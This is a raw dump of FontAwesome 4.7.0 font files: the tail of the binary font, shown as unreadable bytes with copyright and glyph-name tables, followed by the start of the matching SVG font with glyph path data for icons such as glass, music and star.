&6W6>N%&60;96@7F6I3        +  4&#!"3!26%4&#!"3!26  $$     ^aa`@@^aa       ' 7     $  >. %"&546;2#!"&546;2#/a^(^aa(N@@          4&#!"3!26  $$ @@^aa`@^aa       '     $  >. 7"&5463!2#/a^(n@^aa(N@           % =  %#!"'&7!>3!26=!26=!2%"&54&""&546 ##]VTV$ KjKKjK $&4&Ԗ&4&>9G!5KK55KK5! && jj &&         # / ; I m  2+#!"&'#"&463>'.3%4&"26%4&"26%6.326#>;463!232#.+#!"&5#"5KK5sH. .Hs5KK5e# )4# %&4&&4&&4&&4&` #4) #%~]eZ&&Ze]E-&&-E KjKj.<<.KjK)#)`"@&&`&&&&`&&)#`)"dXo&&oXG,8&&8  !  O  ##!!2#!+"'&7#+"'&7!"'&?63!!"'&?63!6;236;2!2@@8@7

8Q
	NQ
	N
	8G@

8GQ
	NQ
	N7
	    88 HH     k      %  		 ".>2I20]@] @oo@@oo㔕a22 ]] p^|11|99|11|     (       %7'7'	'	7T dltl)qnluul        ) 1  $4&"2 4&"2  &6 +"&5476;2 &6  LhLLhLLhLLhL> &  &`>hLLhLLhLLhL>&&>    G  
     	.7)1!62	1!62he220e22>	v+4	[d+d           1  35#5&'72!5!#"&'"'#"$547&54$ Eh`X(cYz:L:zYc\$_K`Pa}fiXXiޝfa    	         ( + . >  #5#5!5!5!54&+'#"3!267!7!#!"&5463!2U``'  jjV>(>VV>>Vq     (^(>VV>>VV          =  &'&'&'&76'&'&.' #.h8"$Y
''>eX5,	,PtsK25MRLqS;:.K'5RChhRt(+e^TTu B"$:2~<2HpwTT V        / 7 G W g   . %&32?673327>/.'676$4&"2 $&6$    $6&  $&6$ d--m	
	,6*6,	
	mKjKKjoooKzz8zzȎLlLU4>>4-.YG0
)xx)
0GYޞ.jKKjKqoooolzzz80LlL    D   / 7 H   #"'.7'654&#"'67'.6?>%"&46227#".547|D,=),9#7[͑fx!X: D$+s)hhijZt<F/*8C,q؜e\r,WBX/C2hhh=tXm        > N Z  +"&=46;2+"&=4>7>54&#"#"/.7632  >.  $$ p =+& 35,W48'3	l
zffff^aaP2P: D#;$#$*;?R
Cfff^aa   'Y  	 > O `   "&5462&'.'.76.5632.'#&'.'&6?65\\[<CzC25U#
.ZK m+[$/#>(	|	r[A@[[@A#2#7*<Y$+}"(q87] F 	_1)
	     	    # 1 K e   34&+326+"&=!#!"&763!2#!"&5463!2#>?4.'3#>?4.'3#>?4.'3Xe`64[l7
,	L;=+3&98&+)>>+3&98&+)>=+3&88&+)>	Wj|r>Q$~d$kaw+-wi[[\;/xgY$kaw+-wi[[\;/xgY$kaw+-wi[[\;/xgY     J \ m   4.'.'&#"#"'.'&47>7632327>7>54&'&#"327>"&47654'&462"'&476'&462"'&47>&'&462i$		$^"
%%
"^$		$W "@9O?1&&18?t@" W&%%&4KK6pp&46ZaaZ&4mttm^x	--	x^=/U7Ckkz'[$=&5%54'4&KK4r<r4&X4[ [4&mm             ' / 7 ? G O W _ g o w        "264$"264"264 "264$"264 "264$"264"264 "&462"&462 "&462"&462 "&462 "&462 "&462 "&462 "&462"&462 "&462"&462^^^^^^^^^^^^^^^^^^^^^^^^^^ ppppppppppppppppppppppppppppppppppppppppppppppp`^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^pppppppppppppppppppppppppppppppppppppppp  	         L T i {   "&4626"&462$"&462#"&4632654>7>54   "&54>2"&462%"&54&#""&546 %#"&'&'.7>#"'&'.7>&4&&4&4&&4S Z &4&&44$#&&&j3$"('$&4&[՛[&4&&4F&4&]\&4&$
	!D4%	,\44&&4&4&&4&- Z 4&&4& ;cX/)#&>B)&4&j9aU0'.4a7&&u՛[[4&&4&@&&]]&&Ώ0
u40
)4         # g   &'.#"32676%4/&#"326'&#"2632#2+&'%#"'&6?676676632%#"'&6767#"&'&6767#"'.7>327"#"&'&6763"'.7>;7632;>%5K$
"0%>s$
"0%>;;>%5KVL#>H30\($$(\(єyO2F/{(?0(TK.5sg$єy#-F/{$70(TK.5sg$L#>H30\($$(\#(@5"'K58!'"58!'"55"'K#dS$K		K$Sdx#@1wd>N;ET0((?
-
2K|1wd#N;ET0$(?
-
2K$#dS$K		K$Sdx          D N \  2654& 265462"2654   #"32654>7>54."/&47&'?62 &4&&4&h՛[&4&r$'("$3j&&&#$4["@GB["&&Β&&][u&&7a4.'0Ua9j&4&)B>&#)/Xc;u՛""Gi[       X h  #"&54676324&'&#"'>54#"32#"54>54'.#"32>7>767632326#!"&5463!2b)
:4FDN[1,^JK-*E#9gWRYvm0O	w@wwwC22c@X&!9{MA_"S4b// DR"XljPY<	@www     %   e  4.#"32>7676#'.#"#"&54>3232>754&*#"&54>763 >32''il$E/
@P@
^`'W6&!.. ! -P5+


E{n46vLeVz:,SN/
M5M[	]$[^5iC'2H&!(?]v`*	l	b$9>    = R   2#"&5467%!"&7>3-.7>;%.7>322326/.76/.'&6766/&/&#"&676	&676&6766/&672? =1(H/ 	'96&@)9<')29%
&06##$ J 07j)5@"*3%"!M
%#K"%Ne8)'8_(9.<c +8 8(%6 <)'4@@)#-<^
?%$-`%.}Q!&}%&N-lIJ;6>/=*%8!Q #P"\Q#N&a)<9     b R ] m p  %"'.'&54>76%&54763263  #"/7#"' #"&/%$% 322654&#"%'OV9
nt
|\d
ϓ[nt
|@D:)	;98'+|j," 41CH^nVz(~R	9\'	r
@L@	@w46HI(+C
,55,
f[op@\j;(zV~      i  / 5 O  #"'&54>32&#" 654'67'"'>54''&'"'6767&546767>7蒓`V BMR B9)̟!SH-77IXmSMH*k#".o;^J qןד>@YM$bKd ү[E";Kx%^6;%T,U:im=Mk        ) . D T  4'"&5463267&#" 6;64'.'4'>732676%#!"&5463!2),蛜s5-<A4ϲ
2W9
&P:\3)SEPJD4:3NIw@wwwNE	2@uus+,/?xsatmP')fHVEA(%dA4w&4J5*@www        O [  4'.'&54>54&#"#"'654'.#"#"&#"3263232>3232>76  $$ Cf'/'%($UL
(
#'/'@3#@,G)+H+@#3^aaX@_O#NW#O_.*	##(^aa   q [  632632#"&#"#".'&#"#".'&54767>7654.54632327&547>P9	B6?K?%O4T% >6>Z64Y=6>%S4N$?L?4B	@{:y/$ ,'R!F!8%#)(()#%:!F Q'+%0z:z       O _  4'.'&54>54&#"#"'654'.#"#"&#"3263232>3232>76#!"&5463!2 Cf'.'%($VM
)
#'.'@3#A,G)+H+A#4 w@wwwXA?4N$NW&M&L/*
##	+@www      	   O  $>?>762'&#"./454327 327>7>	 EpB5
3FAP/h\/NGSL	  RP*m95F84f&3Ga4B|wB .\FI*/.?&,5~K %&Y."7n<	"-I.M`{ARwJ!       F X ^ d j  ''''"'7&'7&'7&'7&547'67'67'67'63277774$#"32$			*'ֱ,?g=OO&L&NJBg;1''ֱ.=gCIM$'&&NJBg=.%w؝\\wIoo<<   -NIDg=/%(ײ+AhEHO*"#*OICh=/'(ֲ/=h>ON.]xwڝ]7e[@        ) 6  !!"3#"&546%3567654'3!67!4&'7Sgny]K-#75LSl>9V%cPe}&Hn_HȌ=UoLQ1!45647UC"    
        ! - 9 [ n x     "&46254&"326754&"326754&"26754&"26#".547632632626326'4#"#"54732764&"264.#"327632>#"'"'#"'#"&5#"'67&'327&'&54>3267>7>7>32632632T"8""8)<())(<))))<))<))<))<)Tد{ՐRhx=8 78 n 81pH_6SocF@b@?d?uKbM70[f5Y$35KUC<:[;+8 n 87 8/8Zlv]64qE 'YK0-AlB;
W#;WS9&(#-7Z://:/Tr++r,,r++r,,r++r,,r++r,,ʠgxXVעe9222222^KVvF02OO23OO`lF;mhj84DroB@r+@222222C0DP`.r8h9~T4.&o@91P       % 1  4'!3#"&46327&#"326%35#5##33  $$ }Pcc]<hlࠥYmmnnnn^aaw!LYƏ;edwnnnnnv^aa     %    '  #"$#"#.5462632327>32 1IUΠ?LL?cc4MX& 04;0XpD[[DpD,)&&    Q	    9 V \   26&".'&'&6?.#"#26327677>'32>&3#'&+"?626&"#!'.'!"&5463!>;26;2!2P  P 	
92#.}SP9::%L\B )spN/9oJ5 
!+D`]BgY9+,9%
Pk4 P  P &NnF!_7*}B<{o0&&B;*<@$ucRRc#@16#37c&@@@J"@*4^`EDBo/8927
*@O LC!T!323X$BJ@@@ &AS
0C59"'D/&&D488$5A&         % O  #!"&547>7>2$7>/.".'&'&2> ^B@B^>FFzn_0P:P2\nzFF>R&p^1P:P1^&R
P2NMJMQ0Rr.B^^B	7:5]yPH!%%"FPy]5:7	=4QH!%%!Ht4=<"-/ ?          1 P p  +".'.'.?>;2>7$76&'&%.+"3!26#!"&5476 7>;2'
+~'*OJ%%JN,&x'%^M,EE,M7ZE[P*FF*P:5^B@B^){$.MK%%KM.$+X)o3"a  22!]4	I>"">,&S8JB##B12``B^^B8&ra#11#$R&              " & . 2 v  %/%''%/%7%7'%7'/#&5'&&?&'&?&'&7%27674?6J"0<=_gNU? DfuYGb7=^H^`	=v~yT3GDPO	4Fѭqi_w\ހ!1uS%V_-d
1=U{J8n~r        ' U  4.#".'"3!264&"26+#!"&5463!232+32+320P373/./373P0T=@=T֙֙|`^B@B^^BB^`````*9deG-!

!-Ged9IaallkOB^^BB^^B       	 + Y i  "&54622#!"&54>;2>+32+32+#!"&5463!2324&#!"3!26֙֙0.I/ OBBO	-Q52-)&)-2`````^B@B^^BB^` @|kkl"=IYL)CggC0[jM4				B^^BB^^B@@       ! 1 A Q u   4.#".'"3!24&"254&#!"3!2654&#!"3!2654&#!"3!26#!54&+"!54&+"!"&5463!2 )P90,***,09P)J6 6S"@8@ ^B@ @B^^BB^Ukc9		9ckU?@@88@@N@B^````^BB^^       ! 1 A Q u    #!"&4>32>72"&462#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!546;2!546;2!26#!"&5463!2 J6 6J)P90,***,09P)"@8@@`@ @`^B@B^^BB^ՀUUkc9		9c`@@88@@2@````@B^^BB^^            (  %.'"&' $&   #"$&6$ wCιCwjJ~J>LlLśJSSJ͛>6LlL         $ ,     $&6654&$ 3 72&&  lLmzzBl> KlLGzzG>           ' 7  #!"&54>7&54>2   62654' '3/U]B,ȍ,B]U/OQнQ>+X}}X0bӃۚӅb0}hQQh>ff            # =   #!"&4>3272"&462!3!26#!"&5463!;26=!2 J6 6J)Q8PP8Q) ^B@B^^B``B^VVVld9KK9d`@B^^BB^``^        + ; K [ e u  4.#"'"3!264&"254&#!"3!2654&#!"3!26%54&+";2654&#!"3!26!54&#!"!#!"&5463!2"D/@@/D"?,,?pppp@@@ @^B@B^^BB^D6]W2@@2W]67MMppp@@@@@@@@n`@B^^BB^^       + ; K [ e u  #!"&54>3272"&462#!"&=463!2%#!"&=463!2+"&=46;25#!"&=463!2!3!26#!"&5463!2?,V,?"D/@@/D"pppp@@@ ^B@B^^BB^D7MM76]W2@@2W]֠ppp@@@@@@@@`@B^^BB^^      A  #"327.#"'63263#".'#"$&546$32326J9"65I).!1iCCu
+I\Gw\B!al݇yǙV/]:=B>9+<F+a[lePn[A&JR7t)+tHkFIK      e	    .    #"'&'>32%#!"&5463!2#"&54>54'&#"#"54654'.#"#"'.54>54'&'&543232654&432#"&54>764&'&'.54632 ?c'p& ?b1w{2V	?#&#9&CY'&.&#+B
: &65&*2w1GF1)2<)<'

(
BH=ӊ:NT :O	)4:i F~b`e!}U3i?fRUX|'&'&Ic&Q
	*2U.L6*/L:90%>..>%b>++z7ymlw45)0	33J@0!!TFL P]=GS-kwm	!*         (  %6&692?  $&6$ 	' al@lLlL,&EC
h$LlL          / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&5467534&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dd<M- PppP -Mǅ9            	  + / 3 7  %"&54624&'4&" 67   54746 #5#5#5ppppD<pp<D

PppPOqqOM- PppP -Mǅ9         & . 6 > F N V ^ f n v ~      "/&4?.7&#"!4>3267622"&4"&46262"&42"&4462"$2"&42"&4"&46262"&4"&46262"&42"&4$2"&42"&42"&4



R

,H8Jfj QhjG^R,

!4&&4&Z4&&4&4&&4&4&&4& &4&&4 4&&4&4&&4&Z4&&4&4&&4&4&&4&4&&4&4&&4&&4&&4&Z4&&4&Z4&&4&



R

,[cGj  hQRJ'A,

&4&&4Z&4&&4Z&4&&4Z&4&&444&&4&&4&&4Z&4&&4Z&4&&4Z&4&&4&4&&4Z&4&&4Z&4&&4&&4&&4Z&4&&4Z&4&&4        % - 5 = E M }           +"&=#!"'+"&=&= "&4626"&462&"&462"&462&"&462&"&462#!"&=46;4632676/&?.7&#"!2 "&462&"&462&"&462"&462&"&462&"&462"&462&"&462"&462@?A A?@@R...R@`jlL.h)**$	%35K.....uvnu....@@jN **.t2#K5..R..R.        @ H q   '&'&54  &7676767654$'.766$76"&462&'&'&7>54.'.7>76ȵ|_ğyv/ۃ⃺k]
:Buq
CA
_kނXVobZZbnW |V	0 	Q2-
l}O		/	:1z	
q% zG
4(

6Roaą\<

)4	J}        %!!#!"&5463!2    ^B@B^^BB^ `@B^^BB^^       %#!"&=463!2 ^B@B^^BB^B^^BB^^           &  ))!32#!#!"&5463!463!2      `B^ ^B^B@B^^B`^BB^   ^B @B^B^^BB^`B^^       # 3  %764/764/&"'&"2?2#!"&5463!2














s^B@B^^BB^ג














@B^^BB^^     # ' 7  "/"/&4?'&4?62762!!%#!"&5463!2














   ^B@B^^BB^














 `@B^^BB^^          	!  $&6$ .2r`LlLf4LlL         # . C    &>"'&4762"/&4?62'"'&4762%'.>6.'.>6'>/>76&'&.'&7&'">?4'.677>7.>37654'&'67>776 $&6$ (4Z##&##&y"6&.JM@& "(XE*$+8
jT<l$3-V<2'.
-1%#e"!Z
+*)H	 8(j	#*-ƷVv/kh?'MlM$($R#&"#'#vZ@+&MbV$

G7--)

R2T
313dJ6@8lr2_5m/."G:=	)%5f0gt*2)?;CB66&, 	`48]USyLlL         G  6?>?3#'.'&!3!2>?3.'#!57>7'./5!27#'.#!"g%%D-!gg<6WWZe#1=/2*]Y3-,C1/Dx] VFIq-HD2NK'>*%R=f07=.fD]\|yu       , 0 > S e u  #2#"'&5<>323#3#&'#334'."#"+236'&54.#"5#37326#!"&5463!2		<	zzjk-L+ )[$8=".un/2 ^B@B^^BB^5cy	

(ݔI(8?C(3> #"($=@B^^BB^^     0K    S   &'.'&' ./674&$#">&>?>'76'#  "&#./.'7676767>76$w.~kuBR] T%z+",|ޟj<)(!(	~ˣzF8"{%%#5)}''xJF0"H[$%EJ#%.Gk29(B13"?@S)5" #9dmW";L65RA0@T.$}i`:f3A%%
BM<$q:)BD	aa%`]A&c|	Ms!
Z2}i[F&**
< ʣsc"J<&NsF  %  0 @ W m  6&'.6$.7>7$76".4>2.,&>6 '"'&7>=GV:e#:$?+%
q4g
&3hT`ZtQмQQмpAP1LK!:<}҈`dlb,9'

%%($!a3)W)xоQQоQQcQǡ-җe)Us2XD\ϼYd           / ? O _ o      #"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543%#!"&5463!2++532325++532325++532325++532325++53232p00pp00pp00pp00pp008((88(@(8 0pp00pp00pp00pp00pp0          @(88((88          / Q    /&'%&/"&=.6?&?&'&6?'.>-#".6?'.>'&6'.>54627>%>76#"'%%6272Gf!)p&4&p)!fG272	*6	"472Gf!)p&4&p)!fG272"	6*	!k3j&3
%,*&&ր*9%
3&j3k!./!>>$,*!k3.j&3
%Ԝ9*&&ր*ǜ,%
3&j3k!*,$>>!/.           &  6.'&$	&76$76$PutۥiPuGxy
Զ[xy
-_v١eNuv١e	 =uʦ[t78X       
    & 6  ##'7-'%'&$  $6 $&6$ 31NE0gR=|||">"LlL^v!1f2iЂwgfZQQ^>"||||wLlL  &Z X b l w          .'&>'&'&".'.'&&'&'&7>767>67>7626&'&>&'&> '.7>.676'&'&'&'.67.>7>6&'&676&'&676.676&'&>&'&676'.>6/4-LJg-$	6)j2%+QF)b3FSP21DK2AW")")$??8A&AE5lZm=gG2Sw*&>$5jD GHyX/4F r	1	1""!l=6>	6
,5./'e
.*|Ed!u&&%&	&5d	))66@C&8B@qL?P^7	G-hI[q:<rS	U~97A_IR`gp1	1	;"("j?>"T6
,6 
   &        / `                                      L       w       Q'             	 
              A  	   ^    	     	     	  "   	    	  $&  	  _  	    	  y  	 	   	  *  	  < C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d .  Copyright Dave Gandy 2016. All rights reserved.  F o n t A w e s o m e  FontAwesome  R e g u l a r  Regular  F O N T L A B : O T F E X P O R T  FONTLAB:OTFEXPORT  F o n t A w e s o m e  FontAwesome  V e r s i o n   4 . 7 . 0   2 0 1 6  Version 4.7.0 2016  F o n t A w e s o m e  FontAwesome  P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s .  Please refer to the Copyright section for the font trademark attribution notices.  F o r t   A w e s o m e  Fort Awesome  D a v e   G a n d y  Dave Gandy  h t t p : / / f o n t a w e s o m e . i o  http://fontawesome.io  h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /  http://fontawesome.io/license/                                                	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab   cdefghijklmnopqrstuvwxyz{|}~  "	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRS TUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ glassmusicsearchenvelopeheartstar
star_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflag
headphones
volume_offvolume_down	volume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_height
text_width
align_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencil
map_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_right	plus_sign
minus_signremove_signok_signquestion_sign	info_sign
screenshotremove_circle	ok_circle
ban_circle
arrow_leftarrow_rightarrow_up
arrow_down	share_altresize_fullresize_smallexclamation_signgiftleaffireeye_open	eye_closewarning_signplanecalendarrandomcommentmagnet
chevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontal	bar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_alt	star_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_sign
upload_altlemonphonecheck_emptybookmark_empty
phone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificate
hand_right	hand_lefthand_up	hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter	briefcase
fullscreengrouplinkcloudbeakercutcopy
paper_clipsave
sign_blankreorderulolstrikethrough	underlinetablemagictruck	pinterestpinterest_signgoogle_plus_signgoogle_plusmoney
caret_downcaret_up
caret_leftcaret_rightcolumnssort	sort_downsort_upenvelope_altlinkedinundolegal	dashboardcomment_altcomments_altboltsitemapumbrellapaste
light_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospital	ambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down
angle_leftangle_rightangle_up
angle_downdesktoplaptoptabletmobile_phonecircle_blank
quote_leftquote_rightspinnercirclereply
github_altfolder_close_altfolder_open_alt
expand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode	reply_allstar_half_emptylocation_arrowcrop	code_forkunlink_279exclamationsuperscript	subscript_283puzzle_piece
microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor
unlock_altbullseyeellipsis_horizontalellipsis_vertical_303	play_signticketminus_sign_altcheck_minuslevel_up
level_down
check_sign	edit_sign_312
share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfile	file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexing	xing_signyoutube_playdropboxstackexchange	instagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype
foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE                                   =    O<0    1hPK     0w\;_    dashboard/css/fonts/icons.svgnu [        <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg>
<metadata>
Created by FontForge 20120731 at Mon Oct 24 17:37:40 2016
 By ,,,
Copyright Dave Gandy 2016. All rights reserved.
</metadata>
<defs>
<font id="FontAwesome" horiz-adv-x="1536" >
  <font-face 
    font-family="FontAwesome"
    font-weight="400"
    font-stretch="normal"
    units-per-em="1792"
    panose-1="0 0 0 0 0 0 0 0 0 0"
    ascent="1536"
    descent="-256"
    bbox="-1.02083 -256.962 2304.6 1537.02"
    underline-thickness="0"
    underline-position="0"
    unicode-range="U+0020-F500"
  />
<missing-glyph horiz-adv-x="896" 
d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
    <glyph glyph-name=".notdef" horiz-adv-x="896" 
d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
    <glyph glyph-name=".null" horiz-adv-x="0" 
 />
    <glyph glyph-name="nonmarkingreturn" horiz-adv-x="597" 
 />
    <glyph glyph-name="space" unicode=" " horiz-adv-x="448" 
 />
    <glyph glyph-name="dieresis" unicode="&#xa8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="copyright" unicode="&#xa9;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="registered" unicode="&#xae;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="acute" unicode="&#xb4;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="AE" unicode="&#xc6;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="Oslash" unicode="&#xd8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="trademark" unicode="&#x2122;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="infinity" unicode="&#x221e;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="notequal" unicode="&#x2260;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="glass" unicode="&#xf000;" horiz-adv-x="1792" 
d="M1699 1350q0 -35 -43 -78l-632 -632v-768h320q26 0 45 -19t19 -45t-19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45t45 19h320v768l-632 632q-43 43 -43 78q0 23 18 36.5t38 17.5t43 4h1408q23 0 43 -4t38 -17.5t18 -36.5z" />
    <glyph glyph-name="music" unicode="&#xf001;" 
d="M1536 1312v-1120q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v537l-768 -237v-709q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89
t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v967q0 31 19 56.5t49 35.5l832 256q12 4 28 4q40 0 68 -28t28 -68z" />
    <glyph glyph-name="search" unicode="&#xf002;" horiz-adv-x="1664" 
d="M1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -52 -38 -90t-90 -38q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5
t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
    <glyph glyph-name="envelope" unicode="&#xf003;" horiz-adv-x="1792" 
d="M1664 32v768q-32 -36 -69 -66q-268 -206 -426 -338q-51 -43 -83 -67t-86.5 -48.5t-102.5 -24.5h-1h-1q-48 0 -102.5 24.5t-86.5 48.5t-83 67q-158 132 -426 338q-37 30 -69 66v-768q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1664 1083v11v13.5t-0.5 13
t-3 12.5t-5.5 9t-9 7.5t-14 2.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5q0 -168 147 -284q193 -152 401 -317q6 -5 35 -29.5t46 -37.5t44.5 -31.5t50.5 -27.5t43 -9h1h1q20 0 43 9t50.5 27.5t44.5 31.5t46 37.5t35 29.5q208 165 401 317q54 43 100.5 115.5t46.5 131.5z
M1792 1120v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="heart" unicode="&#xf004;" horiz-adv-x="1792" 
d="M896 -128q-26 0 -44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124t127 -344q0 -221 -229 -450l-623 -600
q-18 -18 -44 -18z" />
    <glyph glyph-name="star" unicode="&#xf005;" horiz-adv-x="1664" 
d="M1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -21 -10.5 -35.5t-30.5 -14.5q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455
l502 -73q56 -9 56 -46z" />
    <glyph glyph-name="star_empty" unicode="&#xf006;" horiz-adv-x="1664" 
d="M1137 532l306 297l-422 62l-189 382l-189 -382l-422 -62l306 -297l-73 -421l378 199l377 -199zM1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -50 -41 -50q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500
l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455l502 -73q56 -9 56 -46z" />
    <glyph glyph-name="user" unicode="&#xf007;" horiz-adv-x="1280" 
d="M1280 137q0 -109 -62.5 -187t-150.5 -78h-854q-88 0 -150.5 78t-62.5 187q0 85 8.5 160.5t31.5 152t58.5 131t94 89t134.5 34.5q131 -128 313 -128t313 128q76 0 134.5 -34.5t94 -89t58.5 -131t31.5 -152t8.5 -160.5zM1024 1024q0 -159 -112.5 -271.5t-271.5 -112.5
t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="film" unicode="&#xf008;" horiz-adv-x="1920" 
